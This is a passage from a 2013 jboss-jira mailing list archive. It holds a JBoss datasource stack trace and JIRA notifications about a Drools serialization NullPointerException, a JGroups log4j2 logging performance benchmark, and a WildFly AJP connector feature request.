> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 08:31:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 08:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-236) NPE when ksession is
 serialized with facts logically inserted
In-Reply-To: <JIRA.12499263.1377254187000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499263.1377254187000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499263.1377254187000.23499.1378989064053@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-236?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803849#comment-12803849 ] 

RH Bugzilla Integration commented on DROOLS-236:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> changed the Status of [bug 1000385|https://bugzilla.redhat.com/show_bug.cgi?id=1000385] from ON_QA to VERIFIED
                
> NPE when ksession is serialized with facts logically inserted
> -------------------------------------------------------------
>
>                 Key: DROOLS-236
>                 URL: https://issues.jboss.org/browse/DROOLS-236
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 6.0.0.CR1
>            Reporter: Toshiya Kobayashi
>            Assignee: Edson Tirelli
>
> Reproduce steps:
> Assuming Employee is a subclass of Person...
> 1. Insert an Employee (say, 'Alice')
> 2. InsertLogical a Person (say, 'Bob')
> 3. Serialize and deserialize ksession
> 4. Insert an Employee (say, 'Claire')
> 5. Update 'Claire'
> It throws an NEP:
> {noformat}
> Exception executing consequence for rule "Promote" in defaultpkg: java.lang.NullPointerException
> 	at org.drools.core.runtime.rule.impl.DefaultConsequenceExceptionHandler.handleException(DefaultConsequenceExceptionHandler.java:39)
> 	at org.drools.core.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1026)
> ...
> Caused by: java.lang.NullPointerException
> 	at org.drools.core.common.NamedEntryPoint.update(NamedEntryPoint.java:434)
> 	at org.drools.core.base.DefaultKnowledgeHelper.update(DefaultKnowledgeHelper.java:367)
> 	at defaultpkg.Rule_Promote139773612.defaultConsequence(Rule_Promote139773612.java:9)
> 	at defaultpkg.Rule_Promote139773612DefaultConsequenceInvokerGenerated.evaluate(Unknown Source)
> 	at defaultpkg.Rule_Promote139773612DefaultConsequenceInvoker.evaluate(Unknown Source)
> 	at org.drools.core.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1016)
> 	... 37 more
> {noformat}
> In the step 2, ClassObjectTypeConf of Person[Bob] enables TMS. But at that time, Employee[Alice] creates its EqualityKey and put it to TMS.
> NamedEntryPoint.java:
> {code:java}
>     private void enableTMS(Object object, ObjectTypeConf conf) {
>         
>         final Rete source = this.ruleBase.getRete();
>         final ClassObjectType cot = new ClassObjectType( object.getClass() );
>         final Map<ObjectType, ObjectTypeNode> map = source.getObjectTypeNodes( EntryPointId.DEFAULT );
>         final ObjectTypeNode node = map.get( cot );
>         final ObjectHashSet memory = ((ObjectTypeNodeMemory) this.wm.getNodeMemory( node )).memory;
>       
>         // All objects of this type that are already there were certainly stated,
>         // since this method call happens at the first logical insert, for any given type.
>         org.drools.core.util.Iterator it = memory.iterator();
>         for ( Object obj = it.next(); obj != null; obj = it.next() ) {
>           
>             org.drools.core.util.ObjectHashSet.ObjectEntry holder = (org.drools.core.util.ObjectHashSet.ObjectEntry) obj;
>     
>             InternalFactHandle handle = (InternalFactHandle) holder.getValue();
>             
>             if ( handle != null) {
>                 EqualityKey key = new EqualityKey( handle );
>                 handle.setEqualityKey( key );
>                 key.setStatus(EqualityKey.STATED);
>                 getTruthMaintenanceSystem().put(key);
>             }
>         }
>       
>         // Enable TMS for this type.
>         conf.enableTMS();
>       
>     }
> {code}
> Then during deserialization, ProtobufInputMarshaller enables TMS for ClassObjectTypeConf of Employee[Alice] and ClassObjectTypeConf of Person[Bob]. 
> ProtobufInputMarshaller.java:
> {code:java}
>     public static void readTruthMaintenanceSystem( MarshallerReaderContext context, 
>                                                    RuleData _session ) throws IOException {
>         TruthMaintenanceSystem tms = context.wm.getTruthMaintenanceSystem();
>         ProtobufMessages.TruthMaintenanceSystem _tms = _session.getTms();
>         
>         for( ProtobufMessages.EqualityKey _key : _tms.getKeyList() ) {
>             InternalFactHandle handle = (InternalFactHandle) context.handles.get( _key.getHandleId() );
>             // ObjectTypeConf state is not marshalled, so it needs to be re-determined
>             ObjectTypeConf typeConf = context.wm.getObjectTypeConfigurationRegistry().getObjectTypeConf( ((NamedEntryPoint)handle.getEntryPoint()).getEntryPoint(),
>                                                                                                          handle.getObject() );
>             if (!typeConf.isTMSEnabled()) {
>                 typeConf.enableTMS();
>             }
> {code}
> Finally, Employee(Claire) is updated. ClassObjectTypeConf of Employee is under TMS but Claire doesn't have EqualityKey hence NPE is thrown.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 08:31:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 08:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-236) NPE when ksession is
 serialized with facts logically inserted
In-Reply-To: <JIRA.12499263.1377254187000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499263.1377254187000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499263.1377254187000.23503.1378989064234@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-236?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803850#comment-12803850 ] 

RH Bugzilla Integration commented on DROOLS-236:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 1000385|https://bugzilla.redhat.com/show_bug.cgi?id=1000385]

Verified on 5.3.1.BRMS-P04.
                
> NPE when ksession is serialized with facts logically inserted
> -------------------------------------------------------------
>
>                 Key: DROOLS-236
>                 URL: https://issues.jboss.org/browse/DROOLS-236
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 6.0.0.CR1
>            Reporter: Toshiya Kobayashi
>            Assignee: Edson Tirelli
>
> Reproduce steps:
> Assuming Employee is a subclass of Person...
> 1. Insert an Employee (say, 'Alice')
> 2. InsertLogical a Person (say, 'Bob')
> 3. Serialize and deserialize ksession
> 4. Insert an Employee (say, 'Claire')
> 5. Update 'Claire'
> It throws an NEP:
> {noformat}
> Exception executing consequence for rule "Promote" in defaultpkg: java.lang.NullPointerException
> 	at org.drools.core.runtime.rule.impl.DefaultConsequenceExceptionHandler.handleException(DefaultConsequenceExceptionHandler.java:39)
> 	at org.drools.core.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1026)
> ...
> Caused by: java.lang.NullPointerException
> 	at org.drools.core.common.NamedEntryPoint.update(NamedEntryPoint.java:434)
> 	at org.drools.core.base.DefaultKnowledgeHelper.update(DefaultKnowledgeHelper.java:367)
> 	at defaultpkg.Rule_Promote139773612.defaultConsequence(Rule_Promote139773612.java:9)
> 	at defaultpkg.Rule_Promote139773612DefaultConsequenceInvokerGenerated.evaluate(Unknown Source)
> 	at defaultpkg.Rule_Promote139773612DefaultConsequenceInvoker.evaluate(Unknown Source)
> 	at org.drools.core.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1016)
> 	... 37 more
> {noformat}
> In the step 2, ClassObjectTypeConf of Person[Bob] enables TMS. But at that time, Employee[Alice] creates its EqualityKey and put it to TMS.
> NamedEntryPoint.java:
> {code:java}
>     private void enableTMS(Object object, ObjectTypeConf conf) {
>         
>         final Rete source = this.ruleBase.getRete();
>         final ClassObjectType cot = new ClassObjectType( object.getClass() );
>         final Map<ObjectType, ObjectTypeNode> map = source.getObjectTypeNodes( EntryPointId.DEFAULT );
>         final ObjectTypeNode node = map.get( cot );
>         final ObjectHashSet memory = ((ObjectTypeNodeMemory) this.wm.getNodeMemory( node )).memory;
>       
>         // All objects of this type that are already there were certainly stated,
>         // since this method call happens at the first logical insert, for any given type.
>         org.drools.core.util.Iterator it = memory.iterator();
>         for ( Object obj = it.next(); obj != null; obj = it.next() ) {
>           
>             org.drools.core.util.ObjectHashSet.ObjectEntry holder = (org.drools.core.util.ObjectHashSet.ObjectEntry) obj;
>     
>             InternalFactHandle handle = (InternalFactHandle) holder.getValue();
>             
>             if ( handle != null) {
>                 EqualityKey key = new EqualityKey( handle );
>                 handle.setEqualityKey( key );
>                 key.setStatus(EqualityKey.STATED);
>                 getTruthMaintenanceSystem().put(key);
>             }
>         }
>       
>         // Enable TMS for this type.
>         conf.enableTMS();
>       
>     }
> {code}
> Then during deserialization, ProtobufInputMarshaller enables TMS for ClassObjectTypeConf of Employee[Alice] and ClassObjectTypeConf of Person[Bob]. 
> ProtobufInputMarshaller.java:
> {code:java}
>     public static void readTruthMaintenanceSystem( MarshallerReaderContext context, 
>                                                    RuleData _session ) throws IOException {
>         TruthMaintenanceSystem tms = context.wm.getTruthMaintenanceSystem();
>         ProtobufMessages.TruthMaintenanceSystem _tms = _session.getTms();
>         
>         for( ProtobufMessages.EqualityKey _key : _tms.getKeyList() ) {
>             InternalFactHandle handle = (InternalFactHandle) context.handles.get( _key.getHandleId() );
>             // ObjectTypeConf state is not marshalled, so it needs to be re-determined
>             ObjectTypeConf typeConf = context.wm.getObjectTypeConfigurationRegistry().getObjectTypeConf( ((NamedEntryPoint)handle.getEntryPoint()).getEntryPoint(),
>                                                                                                          handle.getObject() );
>             if (!typeConf.isTMSEnabled()) {
>                 typeConf.enableTMS();
>             }
> {code}
> Finally, Employee(Claire) is updated. ClassObjectTypeConf of Employee is under TMS but Claire doesn't have EqualityKey hence NPE is thrown.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 09:02:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 12 Sep 2013 09:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1693) log4j2: performance impact
In-Reply-To: <JIRA.12500601.1378990895073@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500601.1378990895073@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500601.1378990895073.23578.1378990923522@jira02.app.mwc.hst.phx2.redhat.com>

Bela Ban created JGRP-1693:
------------------------------

             Summary: log4j2: performance impact
                 Key: JGRP-1693
                 URL: https://issues.jboss.org/browse/JGRP-1693
             Project: JGroups
          Issue Type: Task
            Reporter: Bela Ban
            Assignee: Bela Ban
             Fix For: 3.4


I'm seeing sub-par performance with the program below, and thought maybe some of the bright folks on this list could help...

The issue I'm having is that the new logging format log.trace("some string %s", string) is much slower than the old one if(log.isTraceEnabled()) log.trace("some string " + string).

This is the case both with TRACE logging enabled and disabled !

The logger here is basically a pass-through to log4j2.

The test can be started with
java org.jgroups.tests.bla5 10000 true // use the new format
    or
java org.jgroups.tests.bla5 10000 false / use the old format

1. Tracing disabled (org.jgroups.tests.bla5 = "warn"), 100000 iterations
============================================
- OLD :5.0 M statements/sec
- NEW: 2.7 M statements/sec

Questions / observations:
----------------------
- If I uncomment the log.isTraceEnabled() in NEW, I get the same perf (5 M) as with OLD, makes sense
- If I remove the varargs, I get the same perf, too
- Q: is it the creation of the vararg array and the copying of the args into it which takes so much time ?

2. Tracing enabled (org.jgroups.tests.bla5 = "trace"), 5000 iterations (prints to stdout)
=====================================================

- OLD: 11'000 statements / sec
- NEW:  7'200 statements / sec

Questions/observations:
---------------------
- If I don't pass the varargs, e.g. log.trace("static string"), the perf in NEW is 12'000 !
- Q: is the parsing of the format string taking that much time, such that it is *slower* than the conversion of i into a string and the string concatenation/copying in the OLD version ?


Some discussion on the core dwelt on the merits of using OLD versus NEW, and my take-away was that NEW was as fast as OLD. Is this not te case ?


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 09:04:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 12 Sep 2013 09:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1693) log4j2: performance impact
In-Reply-To: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500601.1378990895000.23581.1378991043523@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1693?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1693:
---------------------------

    Attachment: bla5.java
                log4j2.xml

    
> log4j2: performance impact
> --------------------------
>
>                 Key: JGRP-1693
>                 URL: https://issues.jboss.org/browse/JGRP-1693
>             Project: JGroups
>          Issue Type: Task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: bla5.java, log4j2.xml
>
>
> I'm seeing sub-par performance with the program below, and thought maybe some of the bright folks on this list could help...
> The issue I'm having is that the new logging format log.trace("some string %s", string) is much slower than the old one if(log.isTraceEnabled()) log.trace("some string " + string).
> This is the case both with TRACE logging enabled and disabled !
> The logger here is basically a pass-through to log4j2.
> The test can be started with
> java org.jgroups.tests.bla5 10000 true // use the new format
>     or
> java org.jgroups.tests.bla5 10000 false / use the old format
> 1. Tracing disabled (org.jgroups.tests.bla5 = "warn"), 100000 iterations
> ============================================
> - OLD :5.0 M statements/sec
> - NEW: 2.7 M statements/sec
> Questions / observations:
> ----------------------
> - If I uncomment the log.isTraceEnabled() in NEW, I get the same perf (5 M) as with OLD, makes sense
> - If I remove the varargs, I get the same perf, too
> - Q: is it the creation of the vararg array and the copying of the args into it which takes so much time ?
> 2. Tracing enabled (org.jgroups.tests.bla5 = "trace"), 5000 iterations (prints to stdout)
> =====================================================
> - OLD: 11'000 statements / sec
> - NEW:  7'200 statements / sec
> Questions/observations:
> ---------------------
> - If I don't pass the varargs, e.g. log.trace("static string"), the perf in NEW is 12'000 !
> - Q: is the parsing of the format string taking that much time, such that it is *slower* than the conversion of i into a string and the string concatenation/copying in the OLD version ?
> Some discussion on the core dwelt on the merits of using OLD versus NEW, and my take-away was that NEW was as fast as OLD. Is this not te case ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 09:04:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 12 Sep 2013 09:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1693) log4j2: performance impact
In-Reply-To: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500601.1378990895000.23588.1378991043900@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1693?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1693:
---------------------------

    Description: 
I'm seeing sub-par performance with the program below, and thought maybe some of the bright folks on this list could help...

The issue I'm having is that the new logging format log.trace("some string %s", string) is much slower than the old one if(log.isTraceEnabled()) log.trace("some string " + string).

This is the case both with TRACE logging enabled and disabled !

The logger here is basically a pass-through to log4j2.

The test can be started with
java org.jgroups.tests.bla5 10000 true // use the new format
    or
java org.jgroups.tests.bla5 10000 false / use the old format

h3. Tracing disabled (org.jgroups.tests.bla5 = "warn"), 100000 iterations
- OLD :5.0 M statements/sec
- NEW: 2.7 M statements/sec

h4. Questions / observations:
- If I uncomment the log.isTraceEnabled() in NEW, I get the same perf (5 M) as with OLD, makes sense
- If I remove the varargs, I get the same perf, too
- Q: is it the creation of the vararg array and the copying of the args into it which takes so much time ?

h3. Tracing enabled (org.jgroups.tests.bla5 = "trace"), 5000 iterations (prints to stdout)
- OLD: 11'000 statements / sec
- NEW:  7'200 statements / sec

h4. Questions/observations:
- If I don't pass the varargs, e.g. log.trace("static string"), the perf in NEW is 12'000 !
- Q: is the parsing of the format string taking that much time, such that it is *slower* than the conversion of i into a string and the string concatenation/copying in the OLD version ?


Some discussion on the core dwelt on the merits of using OLD versus NEW, and my take-away was that NEW was as fast as OLD. Is this not te case ?


  was:
I'm seeing sub-par performance with the program below, and thought maybe some of the bright folks on this list could help...

The issue I'm having is that the new logging format log.trace("some string %s", string) is much slower than the old one if(log.isTraceEnabled()) log.trace("some string " + string).

This is the case both with TRACE logging enabled and disabled !

The logger here is basically a pass-through to log4j2.

The test can be started with
java org.jgroups.tests.bla5 10000 true // use the new format
    or
java org.jgroups.tests.bla5 10000 false / use the old format

1. Tracing disabled (org.jgroups.tests.bla5 = "warn"), 100000 iterations
============================================
- OLD :5.0 M statements/sec
- NEW: 2.7 M statements/sec

Questions / observations:
----------------------
- If I uncomment the log.isTraceEnabled() in NEW, I get the same perf (5 M) as with OLD, makes sense
- If I remove the varargs, I get the same perf, too
- Q: is it the creation of the vararg array and the copying of the args into it which takes so much time ?

2. Tracing enabled (org.jgroups.tests.bla5 = "trace"), 5000 iterations (prints to stdout)
=====================================================

- OLD: 11'000 statements / sec
- NEW:  7'200 statements / sec

Questions/observations:
---------------------
- If I don't pass the varargs, e.g. log.trace("static string"), the perf in NEW is 12'000 !
- Q: is the parsing of the format string taking that much time, such that it is *slower* than the conversion of i into a string and the string concatenation/copying in the OLD version ?


Some discussion on the core dwelt on the merits of using OLD versus NEW, and my take-away was that NEW was as fast as OLD. Is this not te case ?



    
> log4j2: performance impact
> --------------------------
>
>                 Key: JGRP-1693
>                 URL: https://issues.jboss.org/browse/JGRP-1693
>             Project: JGroups
>          Issue Type: Task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: bla5.java, log4j2.xml
>
>
> I'm seeing sub-par performance with the program below, and thought maybe some of the bright folks on this list could help...
> The issue I'm having is that the new logging format log.trace("some string %s", string) is much slower than the old one if(log.isTraceEnabled()) log.trace("some string " + string).
> This is the case both with TRACE logging enabled and disabled !
> The logger here is basically a pass-through to log4j2.
> The test can be started with
> java org.jgroups.tests.bla5 10000 true // use the new format
>     or
> java org.jgroups.tests.bla5 10000 false / use the old format
> h3. Tracing disabled (org.jgroups.tests.bla5 = "warn"), 100000 iterations
> - OLD :5.0 M statements/sec
> - NEW: 2.7 M statements/sec
> h4. Questions / observations:
> - If I uncomment the log.isTraceEnabled() in NEW, I get the same perf (5 M) as with OLD, makes sense
> - If I remove the varargs, I get the same perf, too
> - Q: is it the creation of the vararg array and the copying of the args into it which takes so much time ?
> h3. Tracing enabled (org.jgroups.tests.bla5 = "trace"), 5000 iterations (prints to stdout)
> - OLD: 11'000 statements / sec
> - NEW:  7'200 statements / sec
> h4. Questions/observations:
> - If I don't pass the varargs, e.g. log.trace("static string"), the perf in NEW is 12'000 !
> - Q: is the parsing of the format string taking that much time, such that it is *slower* than the conversion of i into a string and the string concatenation/copying in the OLD version ?
> Some discussion on the core dwelt on the merits of using OLD versus NEW, and my take-away was that NEW was as fast as OLD. Is this not te case ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 09:06:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 12 Sep 2013 09:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1693) log4j2: performance impact
In-Reply-To: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500601.1378990895000.23599.1378991163748@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1693?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803862#comment-12803862 ] 

Bela Ban commented on JGRP-1693:
--------------------------------

Investigate whether some time critical code (e.g. in NAKACK2) needs to have a log.isTraceEnabled() added back.
                
> log4j2: performance impact
> --------------------------
>
>                 Key: JGRP-1693
>                 URL: https://issues.jboss.org/browse/JGRP-1693
>             Project: JGroups
>          Issue Type: Task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: bla5.java, log4j2.xml
>
>
> I'm seeing sub-par performance with the program below, and thought maybe some of the bright folks on this list could help...
> The issue I'm having is that the new logging format log.trace("some string %s", string) is much slower than the old one if(log.isTraceEnabled()) log.trace("some string " + string).
> This is the case both with TRACE logging enabled and disabled !
> The logger here is basically a pass-through to log4j2.
> The test can be started with
> java org.jgroups.tests.bla5 10000 true // use the new format
>     or
> java org.jgroups.tests.bla5 10000 false / use the old format
> h3. Tracing disabled (org.jgroups.tests.bla5 = "warn"), 100000 iterations
> - OLD :5.0 M statements/sec
> - NEW: 2.7 M statements/sec
> h4. Questions / observations:
> - If I uncomment the log.isTraceEnabled() in NEW, I get the same perf (5 M) as with OLD, makes sense
> - If I remove the varargs, I get the same perf, too
> - Q: is it the creation of the vararg array and the copying of the args into it which takes so much time ?
> h3. Tracing enabled (org.jgroups.tests.bla5 = "trace"), 5000 iterations (prints to stdout)
> - OLD: 11'000 statements / sec
> - NEW:  7'200 statements / sec
> h4. Questions/observations:
> - If I don't pass the varargs, e.g. log.trace("static string"), the perf in NEW is 12'000 !
> - Q: is the parsing of the format string taking that much time, such that it is *slower* than the conversion of i into a string and the string concatenation/copying in the OLD version ?
> Some discussion on the core dwelt on the merits of using OLD versus NEW, and my take-away was that NEW was as fast as OLD. Is this not te case ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 09:10:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 09:10:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1589) requiredSecret attribute on
 the AJP connector
In-Reply-To: <JIRA.12495134.1372241506000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495134.1372241506000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495134.1372241506000.23617.1378991404448@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1589?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803867#comment-12803867 ] 

RH Bugzilla Integration commented on WFLY-1589:
-----------------------------------------------

Radim Hatlapatka <rhatlapa at redhat.com> changed the Status of [bug 997009|https://bugzilla.redhat.com/show_bug.cgi?id=997009] from ON_QA to VERIFIED
                
> requiredSecret attribute on the AJP connector
> ---------------------------------------------
>
>                 Key: WFLY-1589
>                 URL: https://issues.jboss.org/browse/WFLY-1589
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (JBoss Web)
>            Reporter: Tom Fonteyne
>            Assignee: Tom Fonteyne
